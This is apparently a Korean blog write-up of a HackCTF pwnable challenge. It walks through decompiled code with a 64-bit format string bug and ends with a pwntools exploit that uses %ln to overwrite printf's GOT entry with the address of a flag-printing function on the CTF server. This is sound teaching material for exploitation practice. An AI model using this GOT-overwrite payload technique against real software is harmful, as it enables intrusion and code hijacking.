64bit 환경에서의 fsb를 이용하는 문제이다.
Writeup
File information
Code
Main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-30h]
int v5; // [rsp+28h] [rbp-8h]
unsigned int v6; // [rsp+2Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
v6 = 50;
puts("Please enter your name");
fgets(&s, 46, stdin);
printf(&s, 46LL);
v5 = get_tier(v6);
printf((const char *)v5);
return 0;
}
- Main함수는 다음과 같은 역할을 한다.
- v6 변수에 50을 저장한다.
- fgets함수를 이용하여 최대 46만큼 입력을 받는다.
- printf함수로 입력값을 출력한다. (fsb 발생)
- get_tier함수를 50을 저장한 v6을 인자로 호출하며, return값을 v5변수에 저장한다.
- printf함수로 v5값을 출력한다.
get_tier
signed __int64 __fastcall get_tier(signed int a1)
{
signed __int64 result; // rax
if ( a1 > 50 )
{
if ( a1 > 65 || a1 <= 50 )
{
if ( a1 > 75 || a1 <= 65 )
{
if ( a1 > 75 )
{
puts("\nYou are challenger.");
result = 4LL;
}
}
else
{
puts("\nYou are master.");
result = 3LL;
}
}
else
{
puts("\nYou are platinum.");
result = 2LL;
}
}
else
{
puts("\nYou are silver.");
result = 1LL;
}
return result;
}
- get_tier함수는 다음과 같은 역할을 한다.
- 인자 a1을 이용하여 첼린저 ~ 실버까지 나눈 후 각각 값을 리턴해준다.
play_game
void __fastcall __noreturn play_game(signed int a1)
{
if ( a1 != 2 )
{
if ( a1 > 2 )
{
if ( a1 == 3 )
{
puts("master can't play game. Sorry! :(");
exit(0);
}
if ( a1 == 4 )
{
puts("Challenger. Take this first!");
system("cat ./flag");
}
}
else if ( a1 == 1 )
{
puts("SILVER can't play game.");
exit(0);
}
puts("Who are you? get out!");
exit(0);
}
puts("platinum can't play game. :(");
exit(0);
}
- play_game함수는 다음과 같은 역할을 한다.
- 인자 a1으로 여러 행동이 나뉜다.
- a1 = 4 일떄 flag를 출력한다.
- a1 = 1, 2, 3 중 하나이면 특정 문자열을 출력 후 exit 함수를 통하여 종료된다.
- 인자 a1으로 여러 행동이 나뉜다.
Exploit
문제는 간단하다. main의 v6값에 75 이상 값을 넣어준 후 printf_got에 play_game 주소로 overwrite를 해주면 get_tier함수 호출 이후 printf(4)가 play_game(4)로 호출이 되어 flag를 출력해준다.
exploit code
- 유의할 점
- 최대 46만큼 입력이 가능하기에 2바이트 씩 (%hn)으로는 불가능하다.
- %n을 이용하면 앞 0x7f** 부분이 남아있어 play_game호출이 불가능하다.
from pwn import *
p=remote("ctf.j0n9hyun.xyz", 3022)
play_game = 0x4006d7
printf_got = 0x601028
py = ''
py += '%{}c'.format(play_game)
py += '%8$ln'
py += 'A'*(8-len(py)%8)
print len(py) # 16
#offset 6 + 2
py += p64(printf_got)
print len(py)
py += "\x99" * (46-len(py))
p.sendlineafter("name", py)
p.interactive()
'Pwnable > hackCTF' 카테고리의 다른 글
ChildFSB (64bit fsb) (0) | 2020.03.24 |
---|---|
babyfsb (64bit fsb) (0) | 2020.03.23 |
훈폰정음 (0) | 2020.03.10 |
풍수지리설 (2) | 2020.03.04 |
HackCTF UAF (2) | 2020.01.23 |